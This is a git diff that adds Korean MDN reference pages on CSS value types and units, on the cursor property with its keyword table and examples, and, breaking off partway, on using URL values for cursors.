+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>s</code></td>
+   <td>초</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>ms</code></td>
+   <td>밀리초</td>
+   <td>1,000 밀리초는 1초와 같습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="진동수_단위">진동수 단위</h4>
+
+<p>진동수 단위는 {{cssxref("&lt;frequency&gt;")}} 자료형으로 표시됩니다. 아래 값이 허용됩니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">이름</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Hz</code></td>
+   <td>헤르츠</td>
+   <td>1초당 발생한 횟수를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>kHz</code></td>
+   <td>킬로헤르츠</td>
+   <td>1 킬로헤르츠는 1000 헤르츠와 같습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>1Hz</code>, 또는 <code>1hz</code>, <code>1HZ</code>는 초당 진동수입니다.</p>
+
+<h4 id="해상도_단위">해상도 단위</h4>
+
+<p>해상도 단위는 {{cssxref("&lt;resolution&gt;")}}로 표시됩니다. 이것들은 스크린과 같은 그래픽 표시에서 CSS 인치당, 센티미터당, 픽셀당 몇 개의 점을 포함할 수 있는지를 나타냄으로써 점 1개의 크기를 표현합니다. 다음의 값이 허용됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>dpi</code></td>
+   <td>인치당 점의 수.</td>
+  </tr>
+  <tr>
+   <td><code>dpcm</code></td>
+   <td>센티미터당 점의 수.</td>
+  </tr>
+  <tr>
+   <td><code>dppx</code>, <code>x</code></td>
+   <td>픽셀당 점의 수.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="퍼센트">퍼센트</h3>
+
+<p>{{cssxref("&lt;percentage&gt;")}}는 다른 값의 일부분을 표현하는 자료형입니다.</p>
+
+<p>퍼센트 값은 언제나 다른 양, 예컨대 길이와 같은 것에 상대적입니다. 퍼센트를 허용하는 속성은 그 퍼센트가 참조하는 양 또한 정의합니다. 이 양은 같은 요소가 갖는 다른 속성의 값이거나, 조상 요소가 갖는 속성의 값이거나, 이 요소를 포함하는 블록의 치수 등이 될 수 있습니다.</p>
+
+<p>예를 들면, 어떤 박스의 {{cssxref("width")}}를 퍼센트로 지정한 경우, 그 박스의 부모의 계산된 너비의 퍼센트를 참조합니다:</p>
+
+<pre class="brush: css notranslate">.box {
+  width: 50%;
+}</pre>
+
+<h3 id="퍼센트와_치수_함께_사용하기">퍼센트와 치수 함께 사용하기</h3>
+
+<p>일부 속성은 두 자료형 중 하나를 선택해서, 예를 들면 <code>&lt;length&gt;</code> <strong>또는</strong> <code>&lt;percentage&gt;</code>를 골라서 치수를 지정할 수 있습니다. 이 경우 사양에는 허용되는 값이 {{cssxref("&lt;length-percentage&gt;")}}처럼 조합된 단위로 기술됩니다. 다음은 가능한 다른 조합입니다:</p>
+
+<ul>
+ <li>{{cssxref("&lt;frequency-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;angle-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;time-percentage&gt;")}}</li>
+</ul>
+
+<h3 id="특별한_자료형_다른_사양에서_정의된_것들">특별한 자료형 (다른 사양에서 정의된 것들)</h3>
+
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+</ul>
+
+<h4 id="색깔">색깔</h4>
+
+<p>{{cssxref("&lt;color&gt;")}} 값은 요소의 외관 색깔(예: 배경색)을 지정하며, <a href="https://drafts.csswg.org/css-color-3/">CSS Color Module</a>에 정의되어 있습니다.</p>
+
+<h4 id="이미지">이미지</h4>
+
+<p>{{cssxref("&lt;image&gt;")}} 값은 CSS에서 사용될 수 있는 다양한 종류의 이미지를 지정하며, <a href="https://www.w3.org/TR/css-images-4/">CSS Image Values and Replaced Content Module</a>에 정의되어 있습니다.</p>
+
+<h4 id="위치">위치</h4>
+
+<p>{{cssxref("&lt;position&gt;")}} 자료형은 배치 영역 안에서 객체의 2D 위치를, 예컨대 컨테이너 안에서 배경 이미지의 위치 같은 것을 정의합니다. 이 자료형은 {{cssxref("background-position")}}으로 해석되므로 <a href="https://www.w3.org/TR/css-backgrounds-3/">CSS Backgrounds and Borders specification</a>에 명시되어 있습니다.</p>
+
+<h3 id="함수_표기법">함수 표기법</h3>
+
+<ul>
+ <li>{{cssxref("calc()")}}</li>
+ <li>{{cssxref("min", "min()")}}</li>
+ <li>{{cssxref("max", "max()")}}</li>
+ <li>{{cssxref("clamp", "clamp()")}}</li>
+ <li>{{cssxref("toggle", "toggle()")}}</li>
+ <li>{{cssxref("attr", "attr()")}}</li>
+</ul>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Functionals">함수 표기법</a>은 더 복잡한 자료형을 표현하거나 CSS가 특별한 처리를 하도록 지시하는 자료형의 값입니다. 이 문법은 함수의 이름으로 시작해서 바로 왼쪽 괄호 <code>(</code>가 뒤따르고, 함수의 인자를 나열한 다음, 오른쪽 괄호 <code>)</code>로 끝납니다. 함수는 여러 개의 인자를 받을 수 있으며, CSS 속성 값과 비슷한 형식을 가집니다.</p>
+
+<p>공백 문자는 허용되지만, 괄호 안에서는 선택 사항입니다. (단 <code>min()</code>, <code>max()</code>, <code>clamp()</code> 함수 페이지의 주의 사항에서 공백 문자에 대한 내용을 확인하세요.)</p>
+
+<p><code>rgba()</code>와 같은 몇몇 레거시 함수 표기법이 콤마를 사용하지만, 일반적으로 콤마는 목록에서 아이템을 구분하기 위해 사용됩니다. 콤마가 인자를 구분하기 위해 사용된 경우, 콤마 전후의 공백 문자는 선택 사항입니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Values")}}</td>
+   <td>{{Spec2("CSS4 Values")}}</td>
+   <td><code>vi</code>, <code>vb</code>, <code>ic</code>, <code>cap</code>, <code>lh</code>, <code>rlh</code> 단위 추가.<br>
+    <code>min()</code>, <code>max()</code>, <code>clamp()</code> 함수 표기법 추가<br>
+    <code>toggle()</code> 추가</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Values")}}</td>
+   <td>{{Spec2("CSS3 Values")}}</td>
+   <td><code>calc()</code>, <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vw</code>, <code>vmin</code>, <code>vmax</code>, <code>Q</code> 추가</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Colors")}}</td>
+   <td>{{Spec2("CSS4 Colors")}}</td>
+   <td><code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code>, <code>hsla()</code> 함수에 콤마 없는 문법 추가. <code>rgb()</code>와 <code>hsl()</code>에 알파 값 허용하며 <code>rgba()</code>와 <code>hsla()</code>를 그것들의 (지원이 중단된) 별칭으로 전환.<br>
+    색깔 키워드 <code>rebeccapurple</code> 추가. 4자리와 8자리의 16진수 색깔 값 추가, 마지막 숫자(들)이 알파 값을 의미함.<br>
+    <code>hwb()</code>, <code>device-cmyk()</code>, <code>color()</code> 함수 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Colors")}}</td>
+   <td>{{Spec2("CSS3 Colors")}}</td>
+   <td>system-colors를 지원 중단으로 표시. SVG 색깔 추가. <code>rgba()</code>, <code>hsl()</code>, <code>hsla()</code> 함수 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Images")}}</td>
+   <td>{{Spec2("CSS4 Images")}}</td>
+   <td>
+    <p><code>element()</code>, <code>image()</code>, <code>image-set()</code>, <code>conic-gradient()</code> 추가</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Images")}}</td>
+   <td>{{Spec2("CSS3 Images")}}</td>
+   <td>이미지를 처음으로 정의함.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>첫번째 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Types">CSS의 기본 자료형</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS 개론: 값과 단위</a></li>
+</ul>
diff --git a/files/ko/web/css/cursor/index.html b/files/ko/web/css/cursor/index.html
new file mode 100644
index 0000000000..113920f9ee
--- /dev/null
+++ b/files/ko/web/css/cursor/index.html
@@ -0,0 +1,315 @@
+---
+title: cursor
+slug: Web/CSS/cursor
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - Web
+translation_of: Web/CSS/cursor
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>cursor</code></strong> 속성은 요소 위에 마우스 커서가 올라갔을 때 보여줄 모양을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/cursor.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+cursor: pointer;
+cursor: auto;
+
+/* URL, 대체용 키워드 */
+cursor: url(hand.cur), pointer;
+
+/* URL과 좌표 및 대체 키워드
+crsor: url(cursor1.png) 4 12, auto;
+cursor: url(cursor2.png) 2 2, pointer;
+
+/* 전역 값 */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+</pre>
+
+<p><code>cursor</code> 속성은 쉼표로 구분한 0개 이상의 <code>{{anch("&lt;url&gt;")}}</code>과, 필수로 지정해야 하는 키워드 값으로 이루어집니다. 각각의 <code>&lt;url&gt;</code>은 이미지 파일을 가리켜야 합니다. 브라우저는 첫 번째 이미지를 불러오려 시도하고, 실패했을 땐 다음 이미지를, 모두 실패하거나 지정한 이미지가 처음부터 없었다면 키워드 값을 사용합니다.</p>
+
+<p><code>&lt;url&gt;</code>은 공백으로 구분한 숫자 쌍을 받을 수 있습니다. 두 숫자는 이미지의 좌상단 모서리를 기준으로, 커서가 상호작용하는 부분의 <a href="#&lt;x>&lt;y>">x, y 좌표</a>를 나타냅니다.</p>
+
+<p>아래 예제는 <code>&lt;url&gt;</code> 값으로 이미지 두 개를 지정했고, 두 번째 이미지는 <code>&lt;x&gt;&lt;y&gt;</code> 좌표도 설정했으며 모두 불러올 수 없으면 <code>progress</code> 키워드를 사용합니다.</p>
+
+<pre class="brush: css">cursor: url(one.svg), url(two.svg) 5 5, progress;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="&lt;url>" name="&lt;url>"><code id="&lt;url>">&lt;url&gt;</code></a></dt>
+ <dd>이미지 파일을 가리키는 <code>url(…)</code>, 또는 쉼표로 구분한 <code>url(…), url(…), …</code> 목록. 일부 커서 이미지를 사용할 수 없을 때를 대비해 여러 이미지를 지정할 수 있습니다. 이미지를 사용할 경우 URL이 아닌 값(하나 이상의 키워드 값)을 목록의 맨 뒤에 붙여야 합니다. <a href="/ko/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property"><code>cursor</code> 속성값으로 URL 사용하기</a>를 참고하세요.</dd>
+ <dt><a id="&lt;x>&lt;y>" name="&lt;x>&lt;y>"><code>&lt;x&gt;</code> <code>&lt;y&gt;</code></a> {{experimental_inline}}</dt>
+ <dd>xy 좌표. 32 미만의 {{cssxref("&lt;number&gt;")}}여야 합니다.</dd>
+ <dt><span id="Keyword values">키워드 값</span></dt>
+ <dd>
+ <p><em>행 위로 마우스를 올리면 현재 브라우저에서 보이는 모습을 확인할 수 있습니다.</em></p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">카테고리</th>
+    <th scope="col">CSS 값</th>
+    <th scope="col">예제</th>
+    <th scope="col">설명</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr style="cursor: auto;">
+    <th rowspan="3" scope="row">일반</th>
+    <td><code>auto</code></td>
+    <td></td>
+    <td>사용자 에이전트가 현재 맥락에 맞춰 표시할 커서를 결정. 예를 들어 글씨 위에서는 <code>text</code>를 사용합니다.</td>
+   </tr>
+   <tr style="cursor: default;">
+    <td><code>default</code></td>
+    <td><img alt="default.gif" src="/@api/deki/files/3438/=default.gif" style="height: 26px; width: 26px;"></td>
+    <td>플랫폼에 따라 다른 기본 커서. 보통 화살표입니다.</td>
+   </tr>
+   <tr style="cursor: none;">
+    <td><code>none</code></td>
+    <td></td>
+    <td>커서 없음.</td>
+   </tr>
+   <tr style="cursor: context-menu;">
+    <th rowspan="5" scope="row" style="cursor: auto;">링크와 상태</th>
+    <td><code>context-menu</code></td>
+    <td><img alt="context-menu.png" src="/@api/deki/files/3461/=context-menu.png" style="height: 26px; width: 26px;"></td>
+    <td>콘텍스트 메뉴 사용 가능.</td>
+   </tr>
+   <tr style="cursor: help;">
+    <td><code>help</code></td>
+    <td><img alt="help.gif" src="/@api/deki/files/3442/=help.gif" style="height: 26px; width: 26px;"></td>
+    <td>도움말 사용 가능.</td>
+   </tr>
+   <tr style="cursor: pointer;">
+    <td><code>pointer</code></td>
+    <td><img alt="pointer.gif" src="/@api/deki/files/3449/=pointer.gif" style="height: 26px; width: 26px;"></td>
+    <td>링크를 나타내는 포인터. 보통 한 쪽을 가리키는 손입니다.</td>
+   </tr>
+   <tr style="cursor: progress;">
+    <td><code>progress</code></td>
+    <td><img alt="progress.gif" src="/@api/deki/files/3450/=progress.gif" style="height: 26px; width: 26px;"></td>
+    <td>프로그램이 백그라운드에서 작업 중이지만, 사용자가 인터페이스와 상호작용할 수 있음. (<code>wait</code>과 반대)</td>
+   </tr>
+   <tr style="cursor: wait;">
+    <td><code>wait</code></td>
+    <td><img alt="wait.gif" src="/@api/deki/files/3457/=wait.gif" style="height: 26px; width: 26px;"></td>
+    <td>프로그램이 작업 중이고, 사용자가 인터페이스와 상호작용할 수 없음. (<code>progress</code>와 반대) 간혹 모래시계나 시계모양 그림을 사용합니다.</td>
+   </tr>
+   <tr style="cursor: cell;">
+    <th rowspan="4" scope="row" style="cursor: auto;">선택</th>
+    <td><code>cell</code></td>
+    <td><img alt="cell.gif" src="/@api/deki/files/3434/=cell.gif" style="height: 26px; width: 26px;"></td>
+    <td>표의 칸이나 여러 칸을 선택할 수 있음.</td>
+   </tr>
+   <tr style="cursor: crosshair;">
+    <td><code>crosshair</code></td>
+    <td><img alt="crosshair.gif" src="/@api/deki/files/3437/=crosshair.gif" style="height: 26px; width: 26px;"></td>
+    <td>십자 커서. 종종 비트맵 선택에 사용합니다.</td>
+   </tr>
+   <tr style="cursor: text;">
+    <td><code>text</code></td>
+    <td><img alt="text.gif" class="default" src="/files/3809/text.gif" style="height: 26px; width: 26px;"></td>
+    <td>글씨 선택 가능. 보통 I빔 모양입니다.</td>
+   </tr>
+   <tr style="cursor: vertical-text;">
+    <td><code>vertical-text</code></td>
+    <td><img alt="vertical-text.gif" src="/@api/deki/files/3456/=vertical-text.gif" style="height: 26px; width: 26px;"></td>
+    <td>세로쓰기 글씨 선택 가능. 보통 옆으로 누운 I빔 모양입니다.</td>
+   </tr>
+   <tr style="cursor: alias;">
+    <th rowspan="7" scope="row" style="cursor: auto;">드래그 앤 드롭</th>
+    <td><code>alias</code></td>
+    <td><img alt="alias.gif" src="/@api/deki/files/3432/=alias.gif" style="height: 26px; width: 26px;"></td>
+    <td>별칭이나 바로가기를 만드는 중.</td>
+   </tr>
+   <tr style="cursor: copy;">
+    <td><code>copy</code></td>
+    <td><img alt="copy.gif" class="default" src="/@api/deki/files/3436/=copy.gif" style="height: 26px; width: 26px;"></td>
+    <td>복사하는 중.</td>
+   </tr>
+   <tr style="cursor: move;">
+    <td><code>move</code></td>
+    <td><img alt="move.gif" src="/@api/deki/files/3443/=move.gif" style="height: 26px; width: 26px;"></td>
+    <td>움직이는 중.</td>
+   </tr>
+   <tr style="cursor: no-drop;">
+    <td><code>no-drop</code></td>
+    <td><img alt="no-drop.gif" class="lwrap" src="/@api/deki/files/3445/=no-drop.gif" style="float: left; height: 26px; width: 33px;"></td>
+    <td>현재 위치에 놓을 수 없음.<br>
+     {{bug("275173")}}: Windows와 Mac OS X에서 <code>no-drop</code>은 <code>not-allowed</code>와 같습니다.</td>
+   </tr>
+   <tr style="cursor: not-allowed;">
+    <td><code>not-allowed</code></td>
+    <td><img alt="not-allowed.gif" src="/@api/deki/files/3446/=not-allowed.gif" style="height: 26px; width: 26px;"></td>
+    <td>요청한 행동을 수행할 수 없음.</td>
+   </tr>
+   <tr id="grab" style="cursor: -moz-grab; cursor: -webkit-grab; cursor: grab;">
+    <td><code>grab</code></td>
+    <td><img alt="grab.gif" class="default" src="/@api/deki/files/3440/=grab.gif"></td>
+    <td>잡을 수 있음. (잡아서 이동)</td>
+   </tr>
+   <tr style="cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing;">
+    <td><code>grabbing</code></td>
+    <td><img alt="grabbing.gif" class="default" src="/@api/deki/files/3441/=grabbing.gif"></td>
+    <td>잡고 있음. (잡아서 이동)</td>
+   </tr>
+   <tr style="cursor: all-scroll;">
+    <th rowspan="15" scope="row" style="cursor: auto;">크기 조절과 스크롤</th>
+    <td><code>all-scroll</code></td>
+    <td><img alt="all-scroll.gif" src="/@api/deki/files/3433/=all-scroll.gif" style="height: 26px; width: 26px;"></td>
+    <td>모든 방향으로 이동 가능. (패닝)<br>
+     {{bug("275174")}}: Windows에서 <code>all-scroll</code>은 <code>move</code>와 같습니다.</td>
+   </tr>
+   <tr style="cursor: col-resize;">
+    <td><code>col-resize</code></td>
+    <td><img alt="col-resize.gif" src="/@api/deki/files/3435/=col-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>항목/행의 크기를 좌우로 조절할 수 있음. 종종 좌우 화살표의 가운데를 세로로 분리한 모양을 사용합니다.</td>
+   </tr>
+   <tr style="cursor: row-resize;">
+    <td><code>row-resize</code></td>
+    <td><img alt="row-resize.gif" src="/@api/deki/files/3451/=row-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>항목/열의 크기를 상하로 조절할 수 있음. 종종 상하 화살표의 가운데를 가로로 분리한 모양을 사용합니다.</td>
+   </tr>
+   <tr style="cursor: n-resize;">
+    <td><code>n-resize</code></td>
+    <td><img alt="Example of a resize towards the top cursor" src="/files/4083/n-resize.gif" style="border-style: solid; border-width: 0px; height: 26px; width: 26px;"></td>
+    <td rowspan="8" style="cursor: auto;">움직일 수 있는 모서리. 예를 들어, <code>se-resize</code> 커서는 움직임이 사각형의 동남쪽에서 시작할 때 사용합니다. 어떤 환경에선 동일한 방향의 양방향 화살표를 대신 보여줍니다. 즉 <code>n-resize</code>와 <code>s-resize</code>는 <code>ns-resize</code>와 같습니다.</td>
+   </tr>
+   <tr style="cursor: e-resize;">
+    <td><code>e-resize</code></td>
+    <td><img alt="Example of a resize towards the right cursor" src="/files/4085/e-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: s-resize;">
+    <td><code>s-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom cursor " src="/files/4087/s-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: w-resize;">
+    <td><code>w-resize</code></td>
+    <td><img alt="Example of a resize towards the left cursor" src="/files/4089/w-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ne-resize;">
+    <td><code>ne-resize</code></td>
+    <td><img alt="Example of a resize towards the top-right corner cursor" src="/files/4091/ne-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nw-resize;">
+    <td><code>nw-resize</code></td>
+    <td><img alt="Example of a resize towards the top-left corner cursor" src="/files/4093/nw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: se-resize;">
+    <td><code>se-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-right corner cursor" src="/files/4097/se-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: sw-resize;">
+    <td><code>sw-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-left corner cursor" src="/files/4095/sw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ew-resize;">
+    <td><code>ew-resize</code></td>
+    <td><img alt="3-resize.gif" class="default" src="/files/3806/3-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td rowspan="4" style="cursor: auto;">양방향 크기 조절 커서.</td>
+   </tr>
+   <tr style="cursor: ns-resize;">
+    <td><code>ns-resize</code></td>
+    <td><img alt="6-resize.gif" class="default" src="/files/3808/6-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nesw-resize;">
+    <td><code>nesw-resize</code></td>
+    <td><img alt="1-resize.gif" class="default" src="/files/3805/1-resize.gif"></td>
+   </tr>
+   <tr style="cursor: nwse-resize;">
+    <td><code>nwse-resize</code></td>
+    <td><img alt="4-resize.gif" class="default" src="/files/3807/4-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-in; cursor: zoom-in;">
+    <th rowspan="2" scope="row" style="cursor: auto;">확대와 축소</th>
+    <td><code>zoom-in</code></td>
+    <td><img alt="zoom-in.gif" class="default" src="/@api/deki/files/3459/=zoom-in.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>확대/축소할 수 있음.</p>
+    </td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-out; cursor: zoom-out;">
+    <td><code>zoom-out</code></td>
+    <td><img alt="zoom-out.gif" class="default" src="/@api/deki/files/3460/=zoom-out.gif"></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>비록 명세에 cursor의 크기 제한은 정해져있지 않지만, 각각의 {{Glossary("user agent", "사용자 에이전트")}}가 별도로 최대 크기를 규정할 수도 있습니다. 이 때, 크기를 넘어가는 이미지를 사용할 경우, 보통 사용자 에이전트는 해당 이미지를 완전히 무시합니다.</p>
+
+<p>{{anch("브라우저 호환성")}} 항목에서 커서 크기 제한을 찾아보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css">.foo {
+  cursor: crosshair;
+}
+
+.bar {
+  cursor: zoom-in;
+}
+
+/* URL을 쓸 땐 키워드 값 필수 */
+.baz {
+  cursor: url("hyper.cur"), auto;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Addition of several keywords and the positioning syntax for <code>url()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("css.properties.cursor")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property"><code>cursor</code> 속성값으로 URL 사용하기</a></li>
+ <li>{{cssxref("pointer-events")}}</li>
+</ul>
diff --git a/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html
new file mode 100644
index 0000000000..416718c17f
--- /dev/null
+++ b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html
@@ -0,0 +1,70 @@
+---
+title: cursor 속성값에 URL 사용
+slug: Web/CSS/cursor/Using_URL_values_for_the_cursor_property
+tags:
+  - CSS
+  - CSS_2.1
+  - Cross-browser_Development
+  - Web Development
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<p><a href="ko/Gecko">Gecko</a> 1.8 (<a href="ko/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0)은 URL 값을 <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">CSS2 커서 속성</a>값으로 사용하는 것을 지원합니다. 이 기능은 마우스 커서 모양으로 임의의 이미지 를 지정할 수 있게 해줍니다 — Gecko가 지원하는 모든 이미지 포맷을 사용할 수 있습니다.</p>
+
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+
+<p>이 속성의 문법은 다음과 같습니다:</p>
+
+<pre class="eval">cursor: [&lt;url&gt;,]* keyword;
+</pre>
+
+<p>즉, URL을 지정하지 않거나 혹은 다수의 콤마로 분리된 URL값들을 지정할 수 있으며, 이 값들 뒤엔 <strong>반드시</strong> <a href="ko/CSS">CSS</a>규정에 정의된 <code>auto</code> 나 <code>pointer</code>같은 키워드들이 따라와야 합니다.</p>
+
+<p>예를 들면, 다음과 같은 값이 지정될 수 있습니다:</p>
+
+<pre class="eval">cursor: url(foo.cur), url(<span class="nowiki">http://www.example.com/bar.gif</span>), auto;
+</pre>
+
+<p>우선 foo.cur의 로딩이 시도 되고, 만약 이 파일이 없거나 어떤 다른 이유로 파일이 부적합할 경우, bar.gif를 로드하게 되고 이것 마저 사용할 수 없게 되면, <code>auto</code>가 사용될 것입니다.</p>
+
+<p>커서 값에 대한 CSS3 <a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">syntax</a> 지원은 Gecko 1.8beta3에 부가되었으며, 따라서 Firefox 1.5에서 사용할 수 있습니다. 이 기능은 커서 이미지의 바운더리에 부착시킬 커서의 핫스팟의 좌표를 지정할 수 있게 해줍니다. 만일 아무것도 지정되지 않을 경우, 핫스팟의 좌표는 이미지 파일 자체에서 (CUR 와 XBN 파일의 경우) 읽어 들이거나 이미지의 좌측 상단 코너로 지정됩니다. CSS3 문법의 예문은 다음과 같습니다:</p>
+
+<pre class="eval">cursor: url(foo.png) 4 12, auto;
+</pre>
+
+<p>첫번째 숫자는 x좌표이며, 두번째 숫자는 y좌표입니다. 이 예문은 이미지의 왼쪽 위 (0,0)로부터 (4, 12)의 위치의 픽셀을 핫스팟으로 지정할 것입니다.</p>
+
+<h3 id=".EC.A0.9C.EC.95.BD_.EC.82.AC.ED.95.AD" name=".EC.A0.9C.EC.95.BD_.EC.82.AC.ED.95.AD">제약 사항</h3>
+
+<p>Gecko가 지원하는 모든 이미지 포팻이 사용가능합니다. 즉, BMP, JPG, CUR, GIF 등의 이미지를 사용할 수 있습니다. 그러나, ANI는 지원되지 않습니다. animated GIF 이미지로 지정해도, 커서는 animated 커서가 되지는 않을 것입니다. 이런 문제점은 향후 릴리즈에서 제거될 것입니다.</p>
+
+<p>Gecko는 커서의 크기에 관해서 어떤 제약을 두고 있지는 않습니다만, 다른 운영체제나 플랫폼들과의 최대의 호환성을 유지하기 위해 커서 크기를 32x32로 제한할것을 권장합니다. 특히, 이보다 큰 커서는 윈도우 9x (95, 98, ME) 에서 작동하지 않을 것입니다.</p>
+
+<p>투명 커서는 XP보다 이전 윈도우 릴리즈에서는 지원되지 않으며, 이는 운영체제의 제약사항입니다. 투명기능은 모든 플랫폼에서 작동합니다.</p>
+
+<p>모질라의 윈도우, OS/2 그리고 리눅스(GTK+ 2.4 나 그 이후 버전 사용) 릴리즈에서만 커서로 URL값이 지원됩니다. 다른 플랫폼들에대한 지원은 향후 릴리즈에 추가될 것입니다.(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, GTK 2.0/2.2: {{ Bug(308536) }})</p>
+
+<h3 id=".EB.8B.A4.EB.A5.B8_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80.EB.93.A4.EA.B3.BC.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1" name=".EB.8B.A4.EB.A5.B8_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80.EB.93.A4.EA.B3.BC.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1">다른 브라우저들과의 호환성</h3>
+
+<p>마이크로소프트 인터넷 익스플로러(MSIE)도 <code>cursor</code>속성으로 URL 값을 지원합니다. 그러나, CUR 과 ANI 포맷만을 지원합니다.</p>
+
+<p><code>cursor</code>속성 문법도 또한 제약이 덜한 관계로</p>
+
+<pre class="eval">cursor: url(foo.cur);
+</pre>
+
+<p>이나</p>
+
+<pre class="eval">cursor: url(foo.cur), pointer, url(bar.cur), auto;
+</pre>
+
